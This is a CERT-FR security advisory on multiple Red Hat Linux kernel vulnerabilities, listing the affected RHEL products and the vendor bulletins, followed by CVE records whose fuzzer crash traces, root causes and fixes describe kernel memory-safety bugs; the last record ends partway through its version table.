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CERTFR-2026-AVI-0370
Vulnerability from certfr_avis - Published: 2026-03-27 - Updated: 2026-03-27
De multiples vulnérabilités ont été découvertes dans le noyau Linux de Red Hat. Certaines d'entre elles permettent à un attaquant de provoquer une exécution de code arbitraire, une élévation de privilèges et une atteinte à la confidentialité des données.
Solutions
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
Impacted products
| Vendor | Product | Description | ||
|---|---|---|---|---|
| Red Hat | Red Hat Enterprise Linux Server | Red Hat Enterprise Linux Server - AUS 8.6 x86_64 | ||
| Red Hat | Red Hat Enterprise Linux Server | Red Hat Enterprise Linux Server - AUS 8.4 x86_64 | ||
| Red Hat | Red Hat Enterprise Linux Server | Red Hat Enterprise Linux Server for Power LE - Update Services for SAP Solutions 8.6 ppc64le | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for ARM 64 - 4 years of updates 9.0 aarch64 | ||
| Red Hat | Red Hat Enterprise Linux Server | Red Hat Enterprise Linux Server - TUS 8.6 x86_64 | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for x86_64 - Update Services for SAP Solutions 9.0 x86_64 | ||
| Red Hat | Red Hat Enterprise Linux Server | Red Hat Enterprise Linux Server - TUS 8.8 x86_64 | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for IBM z Systems - Extended Update Support 9.6 s390x | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for x86_64 - Update Services for SAP Solutions 8.8 x86_64 | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for IBM z Systems - 4 years of updates 9.0 s390x | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for x86_64 - Update Services for SAP Solutions 9.2 x86_64 | ||
| Red Hat | Red Hat Enterprise Linux Server | Red Hat Enterprise Linux Server - AUS 9.6 x86_64 | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for x86_64 - Extended Update Support 9.6 x86_64 | ||
| Red Hat | Red Hat Enterprise Linux Server | Red Hat Enterprise Linux Server for Power LE - Update Services for SAP Solutions 9.6 ppc64le | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for ARM 64 - 4 years of updates 9.6 aarch64 | ||
| Red Hat | Red Hat CodeReady Linux Builder | Red Hat CodeReady Linux Builder for Power, little endian - Extended Update Support 9.6 ppc64le | ||
| Red Hat | Red Hat Enterprise Linux Server | Red Hat Enterprise Linux Server for Power LE - Update Services for SAP Solutions 9.0 ppc64le | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for IBM z Systems - 4 years of updates 9.6 s390x | ||
| Red Hat | Red Hat CodeReady Linux Builder | Red Hat CodeReady Linux Builder for IBM z Systems - Extended Update Support 9.6 s390x | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for ARM 64 - Extended Update Support 9.6 aarch64 | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for Power, little endian - Extended Update Support 9.6 ppc64le | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for x86_64 - Update Services for SAP Solutions 9.6 x86_64 | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for IBM z Systems - 4 years of updates 9.2 s390x | ||
| Red Hat | Red Hat Enterprise Linux Server | Red Hat Enterprise Linux Server - AUS 9.2 x86_64 | ||
| Red Hat | Red Hat Enterprise Linux Server | Red Hat Enterprise Linux Server - AUS 8.2 x86_64 | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for x86_64 - Extended Update Support Extension 8.6 x86_64 | ||
| Red Hat | Red Hat CodeReady Linux Builder | Red Hat CodeReady Linux Builder for ARM 64 - Extended Update Support 9.6 aarch64 | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for x86_64 - Extended Update Support Extension 8.4 x86_64 | ||
| Red Hat | Red Hat CodeReady Linux Builder | Red Hat CodeReady Linux Builder for x86_64 - Extended Update Support 9.6 x86_64 | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for x86_64 - Extended Update Support Extension 8.8 x86_64 | ||
| Red Hat | Red Hat Enterprise Linux Server | Red Hat Enterprise Linux Server for Power LE - Update Services for SAP Solutions 8.8 ppc64le | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for ARM 64 - 4 years of updates 9.2 aarch64 | ||
| Red Hat | Red Hat Enterprise Linux Server | Red Hat Enterprise Linux Server for Power LE - Update Services for SAP Solutions 9.2 ppc64le | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for x86_64 - Update Services for SAP Solutions 8.6 x86_64 |
References
| Title | Publication Time | Tags | |||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Red Hat Enterprise Linux Server - AUS 8.6 x86_64",
"product": {
"name": "Red Hat Enterprise Linux Server",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux Server - AUS 8.4 x86_64",
"product": {
"name": "Red Hat Enterprise Linux Server",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux Server for Power LE - Update Services for SAP Solutions 8.6 ppc64le",
"product": {
"name": "Red Hat Enterprise Linux Server",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for ARM 64 - 4 years of updates 9.0 aarch64",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux Server - TUS 8.6 x86_64",
"product": {
"name": "Red Hat Enterprise Linux Server",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for x86_64 - Update Services for SAP Solutions 9.0 x86_64",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux Server - TUS 8.8 x86_64",
"product": {
"name": "Red Hat Enterprise Linux Server",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for IBM z Systems - Extended Update Support 9.6 s390x",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for x86_64 - Update Services for SAP Solutions 8.8 x86_64",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for IBM z Systems - 4 years of updates 9.0 s390x",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for x86_64 - Update Services for SAP Solutions 9.2 x86_64",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux Server - AUS 9.6 x86_64",
"product": {
"name": "Red Hat Enterprise Linux Server",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for x86_64 - Extended Update Support 9.6 x86_64",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux Server for Power LE - Update Services for SAP Solutions 9.6 ppc64le",
"product": {
"name": "Red Hat Enterprise Linux Server",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for ARM 64 - 4 years of updates 9.6 aarch64",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat CodeReady Linux Builder for Power, little endian - Extended Update Support 9.6 ppc64le",
"product": {
"name": "Red Hat CodeReady Linux Builder",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux Server for Power LE - Update Services for SAP Solutions 9.0 ppc64le",
"product": {
"name": "Red Hat Enterprise Linux Server",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for IBM z Systems - 4 years of updates 9.6 s390x",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat CodeReady Linux Builder for IBM z Systems - Extended Update Support 9.6 s390x",
"product": {
"name": "Red Hat CodeReady Linux Builder",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for ARM 64 - Extended Update Support 9.6 aarch64",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for Power, little endian - Extended Update Support 9.6 ppc64le",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for x86_64 - Update Services for SAP Solutions 9.6 x86_64",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for IBM z Systems - 4 years of updates 9.2 s390x",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux Server - AUS 9.2 x86_64",
"product": {
"name": "Red Hat Enterprise Linux Server",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux Server - AUS 8.2 x86_64",
"product": {
"name": "Red Hat Enterprise Linux Server",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for x86_64 - Extended Update Support Extension 8.6 x86_64",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat CodeReady Linux Builder for ARM 64 - Extended Update Support 9.6 aarch64",
"product": {
"name": "Red Hat CodeReady Linux Builder",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for x86_64 - Extended Update Support Extension 8.4 x86_64",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat CodeReady Linux Builder for x86_64 - Extended Update Support 9.6 x86_64",
"product": {
"name": "Red Hat CodeReady Linux Builder",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for x86_64 - Extended Update Support Extension 8.8 x86_64",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux Server for Power LE - Update Services for SAP Solutions 8.8 ppc64le",
"product": {
"name": "Red Hat Enterprise Linux Server",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for ARM 64 - 4 years of updates 9.2 aarch64",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux Server for Power LE - Update Services for SAP Solutions 9.2 ppc64le",
"product": {
"name": "Red Hat Enterprise Linux Server",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for x86_64 - Update Services for SAP Solutions 8.6 x86_64",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
}
],
"affected_systems_content": "",
"content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
"cves": [
{
"name": "CVE-2025-40240",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-40240"
},
{
"name": "CVE-2025-71085",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-71085"
},
{
"name": "CVE-2025-38024",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-38024"
},
{
"name": "CVE-2025-40269",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-40269"
},
{
"name": "CVE-2023-53539",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-53539"
},
{
"name": "CVE-2025-38129",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-38129"
},
{
"name": "CVE-2026-23001",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-23001"
},
{
"name": "CVE-2022-49985",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-49985"
},
{
"name": "CVE-2025-38154",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-38154"
},
{
"name": "CVE-2025-38248",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-38248"
}
],
"initial_release_date": "2026-03-27T00:00:00",
"last_revision_date": "2026-03-27T00:00:00",
"links": [],
"reference": "CERTFR-2026-AVI-0370",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2026-03-27T00:00:00.000000"
}
],
"risks": [
{
"description": "Atteinte \u00e0 l\u0027int\u00e9grit\u00e9 des donn\u00e9es"
},
{
"description": "Ex\u00e9cution de code arbitraire"
},
{
"description": "Non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur"
},
{
"description": "D\u00e9ni de service"
},
{
"description": "Contournement de la politique de s\u00e9curit\u00e9"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
},
{
"description": "\u00c9l\u00e9vation de privil\u00e8ges"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans le noyau Linux de Red Hat. Certaines d\u0027entre elles permettent \u00e0 un attaquant de provoquer une ex\u00e9cution de code arbitraire, une \u00e9l\u00e9vation de privil\u00e8ges et une atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es.",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans le noyau Linux de Red Hat",
"vendor_advisories": [
{
"published_at": "2026-03-23",
"title": "Bulletin de s\u00e9curit\u00e9 Red Hat RHSA-2026:5197",
"url": "https://access.redhat.com/errata/RHSA-2026:5197"
},
{
"published_at": "2026-03-25",
"title": "Bulletin de s\u00e9curit\u00e9 Red Hat RHSA-2026:5813",
"url": "https://access.redhat.com/errata/RHSA-2026:5813"
},
{
"published_at": "2026-03-25",
"title": "Bulletin de s\u00e9curit\u00e9 Red Hat RHSA-2026:5690",
"url": "https://access.redhat.com/errata/RHSA-2026:5690"
},
{
"published_at": "2026-03-25",
"title": "Bulletin de s\u00e9curit\u00e9 Red Hat RHSA-2026:5732",
"url": "https://access.redhat.com/errata/RHSA-2026:5732"
},
{
"published_at": "2026-03-25",
"title": "Bulletin de s\u00e9curit\u00e9 Red Hat RHSA-2026:5727",
"url": "https://access.redhat.com/errata/RHSA-2026:5727"
},
{
"published_at": "2026-03-25",
"title": "Bulletin de s\u00e9curit\u00e9 Red Hat RHSA-2026:5693",
"url": "https://access.redhat.com/errata/RHSA-2026:5693"
},
{
"published_at": "2026-03-25",
"title": "Bulletin de s\u00e9curit\u00e9 Red Hat RHSA-2026:5689",
"url": "https://access.redhat.com/errata/RHSA-2026:5689"
},
{
"published_at": "2026-03-25",
"title": "Bulletin de s\u00e9curit\u00e9 Red Hat RHSA-2026:5821",
"url": "https://access.redhat.com/errata/RHSA-2026:5821"
},
{
"published_at": "2026-03-25",
"title": "Bulletin de s\u00e9curit\u00e9 Red Hat RHSA-2026:5691",
"url": "https://access.redhat.com/errata/RHSA-2026:5691"
}
]
}
CVE-2022-49985 (GCVE-0-2022-49985)
Vulnerability from cvelistv5 – Published: 2025-06-18 11:00 – Updated: 2026-08-05 08:57
VLAI
EPSS
VEX
Title
bpf: Don't use tnum_range on array range checking for poke descriptors
Summary
In the Linux kernel, the following vulnerability has been resolved:
bpf: Don't use tnum_range on array range checking for poke descriptors
Hsin-Wei reported a KASAN splat triggered by their BPF runtime fuzzer which
is based on a customized syzkaller:
BUG: KASAN: slab-out-of-bounds in bpf_int_jit_compile+0x1257/0x13f0
Read of size 8 at addr ffff888004e90b58 by task syz-executor.0/1489
CPU: 1 PID: 1489 Comm: syz-executor.0 Not tainted 5.19.0 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS
1.13.0-1ubuntu1.1 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0x9c/0xc9
print_address_description.constprop.0+0x1f/0x1f0
? bpf_int_jit_compile+0x1257/0x13f0
kasan_report.cold+0xeb/0x197
? kvmalloc_node+0x170/0x200
? bpf_int_jit_compile+0x1257/0x13f0
bpf_int_jit_compile+0x1257/0x13f0
? arch_prepare_bpf_dispatcher+0xd0/0xd0
? rcu_read_lock_sched_held+0x43/0x70
bpf_prog_select_runtime+0x3e8/0x640
? bpf_obj_name_cpy+0x149/0x1b0
bpf_prog_load+0x102f/0x2220
? __bpf_prog_put.constprop.0+0x220/0x220
? find_held_lock+0x2c/0x110
? __might_fault+0xd6/0x180
? lock_downgrade+0x6e0/0x6e0
? lock_is_held_type+0xa6/0x120
? __might_fault+0x147/0x180
__sys_bpf+0x137b/0x6070
? bpf_perf_link_attach+0x530/0x530
? new_sync_read+0x600/0x600
? __fget_files+0x255/0x450
? lock_downgrade+0x6e0/0x6e0
? fput+0x30/0x1a0
? ksys_write+0x1a8/0x260
__x64_sys_bpf+0x7a/0xc0
? syscall_enter_from_user_mode+0x21/0x70
do_syscall_64+0x3b/0x90
entry_SYSCALL_64_after_hwframe+0x63/0xcd
RIP: 0033:0x7f917c4e2c2d
The problem here is that a range of tnum_range(0, map->max_entries - 1) has
limited ability to represent the concrete tight range with the tnum as the
set of resulting states from value + mask can result in a superset of the
actual intended range, and as such a tnum_in(range, reg->var_off) check may
yield true when it shouldn't, for example tnum_range(0, 2) would result in
00XX -> v = 0000, m = 0011 such that the intended set of {0, 1, 2} is here
represented by a less precise superset of {0, 1, 2, 3}. As the register is
known const scalar, really just use the concrete reg->var_off.value for the
upper index check.
Severity
7.8 (High)
Assigner
References
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Linux | Linux |
Affected:
d2e4c1e6c2947269346054ac8937ccfe9e0bcc6b , < e8979807178434db8ceaa84dfcd44363e71e50bb
(git)
Affected: d2e4c1e6c2947269346054ac8937ccfe9e0bcc6b , < 4f672112f8665102a5842c170be1713f8ff95919 (git) Affected: d2e4c1e6c2947269346054ac8937ccfe9e0bcc6b , < a36df92c7ff7ecde2fb362241d0ab024dddd0597 (git) Affected: d2e4c1e6c2947269346054ac8937ccfe9e0bcc6b , < a657182a5c5150cdfacb6640aad1d2712571a409 (git) |
|
| Linux | Linux |
Affected:
5.5
Unaffected: 0 , < 5.5 (semver) Unaffected: 5.10.140 , ≤ 5.10.* (semver) Unaffected: 5.15.64 , ≤ 5.15.* (semver) Unaffected: 5.19.6 , ≤ 5.19.* (semver) Unaffected: 6.0 , ≤ * (original_commit_for_fix) |
{
"containers": {
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "Linux",
"programFiles": [
"kernel/bpf/verifier.c"
],
"repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
"vendor": "Linux",
"versions": [
{
"lessThan": "e8979807178434db8ceaa84dfcd44363e71e50bb",
"status": "affected",
"version": "d2e4c1e6c2947269346054ac8937ccfe9e0bcc6b",
"versionType": "git"
},
{
"lessThan": "4f672112f8665102a5842c170be1713f8ff95919",
"status": "affected",
"version": "d2e4c1e6c2947269346054ac8937ccfe9e0bcc6b",
"versionType": "git"
},
{
"lessThan": "a36df92c7ff7ecde2fb362241d0ab024dddd0597",
"status": "affected",
"version": "d2e4c1e6c2947269346054ac8937ccfe9e0bcc6b",
"versionType": "git"
},
{
"lessThan": "a657182a5c5150cdfacb6640aad1d2712571a409",
"status": "affected",
"version": "d2e4c1e6c2947269346054ac8937ccfe9e0bcc6b",
"versionType": "git"
}
]
},
{
"defaultStatus": "affected",
"product": "Linux",
"programFiles": [
"kernel/bpf/verifier.c"
],
"repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
"vendor": "Linux",
"versions": [
{
"status": "affected",
"version": "5.5"
},
{
"lessThan": "5.5",
"status": "unaffected",
"version": "0",
"versionType": "semver"
},
{
"lessThanOrEqual": "5.10.*",
"status": "unaffected",
"version": "5.10.140",
"versionType": "semver"
},
{
"lessThanOrEqual": "5.15.*",
"status": "unaffected",
"version": "5.15.64",
"versionType": "semver"
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CVE-2023-53539 (GCVE-0-2023-53539)
Vulnerability from cvelistv5 – Published: 2025-10-04 15:16 – Updated: 2026-08-05 09:14
VLAI
EPSS
VEX
Title
RDMA/rxe: Fix incomplete state save in rxe_requester
Summary
In the Linux kernel, the following vulnerability has been resolved:
RDMA/rxe: Fix incomplete state save in rxe_requester
If a send packet is dropped by the IP layer in rxe_requester()
the call to rxe_xmit_packet() can fail with err == -EAGAIN.
To recover, the state of the wqe is restored to the state before
the packet was sent so it can be resent. However, the routines
that save and restore the state miss a significnt part of the
variable state in the wqe, the dma struct which is used to process
through the sge table. And, the state is not saved before the packet
is built which modifies the dma struct.
Under heavy stress testing with many QPs on a fast node sending
large messages to a slow node dropped packets are observed and
the resent packets are corrupted because the dma struct was not
restored. This patch fixes this behavior and allows the test cases
to succeed.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-06-10 20:40 UTC
Assigner
References
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Linux | Linux |
Affected:
3050b99850247695cb07a5c15265afcc08bcf400 , < 70518f3aaf5a059b691867d7d2d46b999319656a
(git)
Affected: 3050b99850247695cb07a5c15265afcc08bcf400 , < 2f2a6422287fe29f9343247d77b645100ece0652 (git) Affected: 3050b99850247695cb07a5c15265afcc08bcf400 , < 255c0e60e1d16874fc151358d94bc8df661600dd (git) Affected: 3050b99850247695cb07a5c15265afcc08bcf400 , < 5d122db2ff80cd2aed4dcd630befb56b51ddf947 (git) |
|
| Linux | Linux |
Affected:
4.8
Unaffected: 0 , < 4.8 (semver) Unaffected: 6.1.53 , ≤ 6.1.* (semver) Unaffected: 6.4.16 , ≤ 6.4.* (semver) Unaffected: 6.5.3 , ≤ 6.5.* (semver) Unaffected: 6.6 , ≤ * (original_commit_for_fix) |
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CVE-2025-38024 (GCVE-0-2025-38024)
Vulnerability from cvelistv5 – Published: 2025-06-18 09:28 – Updated: 2026-08-05 11:59
VLAI
EPSS
VEX
Title
RDMA/rxe: Fix slab-use-after-free Read in rxe_queue_cleanup bug
Summary
In the Linux kernel, the following vulnerability has been resolved:
RDMA/rxe: Fix slab-use-after-free Read in rxe_queue_cleanup bug
Call Trace:
<TASK>
__dump_stack lib/dump_stack.c:94 [inline]
dump_stack_lvl+0x7d/0xa0 lib/dump_stack.c:120
print_address_description mm/kasan/report.c:378 [inline]
print_report+0xcf/0x610 mm/kasan/report.c:489
kasan_report+0xb5/0xe0 mm/kasan/report.c:602
rxe_queue_cleanup+0xd0/0xe0 drivers/infiniband/sw/rxe/rxe_queue.c:195
rxe_cq_cleanup+0x3f/0x50 drivers/infiniband/sw/rxe/rxe_cq.c:132
__rxe_cleanup+0x168/0x300 drivers/infiniband/sw/rxe/rxe_pool.c:232
rxe_create_cq+0x22e/0x3a0 drivers/infiniband/sw/rxe/rxe_verbs.c:1109
create_cq+0x658/0xb90 drivers/infiniband/core/uverbs_cmd.c:1052
ib_uverbs_create_cq+0xc7/0x120 drivers/infiniband/core/uverbs_cmd.c:1095
ib_uverbs_write+0x969/0xc90 drivers/infiniband/core/uverbs_main.c:679
vfs_write fs/read_write.c:677 [inline]
vfs_write+0x26a/0xcc0 fs/read_write.c:659
ksys_write+0x1b8/0x200 fs/read_write.c:731
do_syscall_x64 arch/x86/entry/common.c:52 [inline]
do_syscall_64+0xaa/0x1b0 arch/x86/entry/common.c:83
entry_SYSCALL_64_after_hwframe+0x77/0x7f
In the function rxe_create_cq, when rxe_cq_from_init fails, the function
rxe_cleanup will be called to handle the allocated resources. In fact,
some memory resources have already been freed in the function
rxe_cq_from_init. Thus, this problem will occur.
The solution is to let rxe_cleanup do all the work.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-06-10 20:41 UTC
Assigner
References
10 references
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Linux | Linux |
Affected:
8700e3e7c4857d28ebaa824509934556da0b3e76 , < 7c7c80c32e00665234e373ab03fe82f5c5c2c230
(git)
Affected: 8700e3e7c4857d28ebaa824509934556da0b3e76 , < 3a3b73e135e3bd18423d0baa72571319c7feb759 (git) Affected: 8700e3e7c4857d28ebaa824509934556da0b3e76 , < f8f470e3a757425a8f98fb9a5991e3cf62fc7134 (git) Affected: 8700e3e7c4857d28ebaa824509934556da0b3e76 , < 52daccfc3fa68ee1902d52124921453d7a335591 (git) Affected: 8700e3e7c4857d28ebaa824509934556da0b3e76 , < ee4c5a2a38596d548566560c0c022ab797e6f71a (git) Affected: 8700e3e7c4857d28ebaa824509934556da0b3e76 , < 336edd6b0f5b7fbffc3e065285610624f59e88df (git) Affected: 8700e3e7c4857d28ebaa824509934556da0b3e76 , < 16c45ced0b3839d3eee72a86bb172bef6cf58980 (git) Affected: 8700e3e7c4857d28ebaa824509934556da0b3e76 , < f81b33582f9339d2dc17c69b92040d3650bb4bae (git) |
|
| Linux | Linux |
Affected:
4.8
Unaffected: 0 , < 4.8 (semver) Unaffected: 5.4.294 , ≤ 5.4.* (semver) Unaffected: 5.10.238 , ≤ 5.10.* (semver) Unaffected: 5.15.184 , ≤ 5.15.* (semver) Unaffected: 6.1.140 , ≤ 6.1.* (semver) Unaffected: 6.6.92 , ≤ 6.6.* (semver) Unaffected: 6.12.30 , ≤ 6.12.* (semver) Unaffected: 6.14.8 , ≤ 6.14.* (semver) Unaffected: 6.15 , ≤ * (original_commit_for_fix) |
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CVE-2025-38129 (GCVE-0-2025-38129)
Vulnerability from cvelistv5 – Published: 2025-07-03 08:35 – Updated: 2026-08-05 11:59
VLAI
EPSS
VEX
Title
page_pool: Fix use-after-free in page_pool_recycle_in_ring
Summary
In the Linux kernel, the following vulnerability has been resolved:
page_pool: Fix use-after-free in page_pool_recycle_in_ring
syzbot reported a uaf in page_pool_recycle_in_ring:
BUG: KASAN: slab-use-after-free in lock_release+0x151/0xa30 kernel/locking/lockdep.c:5862
Read of size 8 at addr ffff8880286045a0 by task syz.0.284/6943
CPU: 0 UID: 0 PID: 6943 Comm: syz.0.284 Not tainted 6.13.0-rc3-syzkaller-gdfa94ce54f41 #0
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024
Call Trace:
<TASK>
__dump_stack lib/dump_stack.c:94 [inline]
dump_stack_lvl+0x241/0x360 lib/dump_stack.c:120
print_address_description mm/kasan/report.c:378 [inline]
print_report+0x169/0x550 mm/kasan/report.c:489
kasan_report+0x143/0x180 mm/kasan/report.c:602
lock_release+0x151/0xa30 kernel/locking/lockdep.c:5862
__raw_spin_unlock_bh include/linux/spinlock_api_smp.h:165 [inline]
_raw_spin_unlock_bh+0x1b/0x40 kernel/locking/spinlock.c:210
spin_unlock_bh include/linux/spinlock.h:396 [inline]
ptr_ring_produce_bh include/linux/ptr_ring.h:164 [inline]
page_pool_recycle_in_ring net/core/page_pool.c:707 [inline]
page_pool_put_unrefed_netmem+0x748/0xb00 net/core/page_pool.c:826
page_pool_put_netmem include/net/page_pool/helpers.h:323 [inline]
page_pool_put_full_netmem include/net/page_pool/helpers.h:353 [inline]
napi_pp_put_page+0x149/0x2b0 net/core/skbuff.c:1036
skb_pp_recycle net/core/skbuff.c:1047 [inline]
skb_free_head net/core/skbuff.c:1094 [inline]
skb_release_data+0x6c4/0x8a0 net/core/skbuff.c:1125
skb_release_all net/core/skbuff.c:1190 [inline]
__kfree_skb net/core/skbuff.c:1204 [inline]
sk_skb_reason_drop+0x1c9/0x380 net/core/skbuff.c:1242
kfree_skb_reason include/linux/skbuff.h:1263 [inline]
__skb_queue_purge_reason include/linux/skbuff.h:3343 [inline]
root cause is:
page_pool_recycle_in_ring
ptr_ring_produce
spin_lock(&r->producer_lock);
WRITE_ONCE(r->queue[r->producer++], ptr)
//recycle last page to pool
page_pool_release
page_pool_scrub
page_pool_empty_ring
ptr_ring_consume
page_pool_return_page //release all page
__page_pool_destroy
free_percpu(pool->recycle_stats);
free(pool) //free
spin_unlock(&r->producer_lock); //pool->ring uaf read
recycle_stat_inc(pool, ring);
page_pool can be free while page pool recycle the last page in ring.
Add producer-lock barrier to page_pool_release to prevent the page
pool from being free before all pages have been recycled.
recycle_stat_inc() is empty when CONFIG_PAGE_POOL_STATS is not
enabled, which will trigger Wempty-body build warning. Add definition
for pool stat macro to fix warning.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-06-10 20:41 UTC
Assigner
References
7 references
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Linux | Linux |
Affected:
ff7d6b27f894f1469dc51ccb828b7363ccd9799f , < c2c906142293931e33ef4be79ebc36c25c4e21dd
(git)
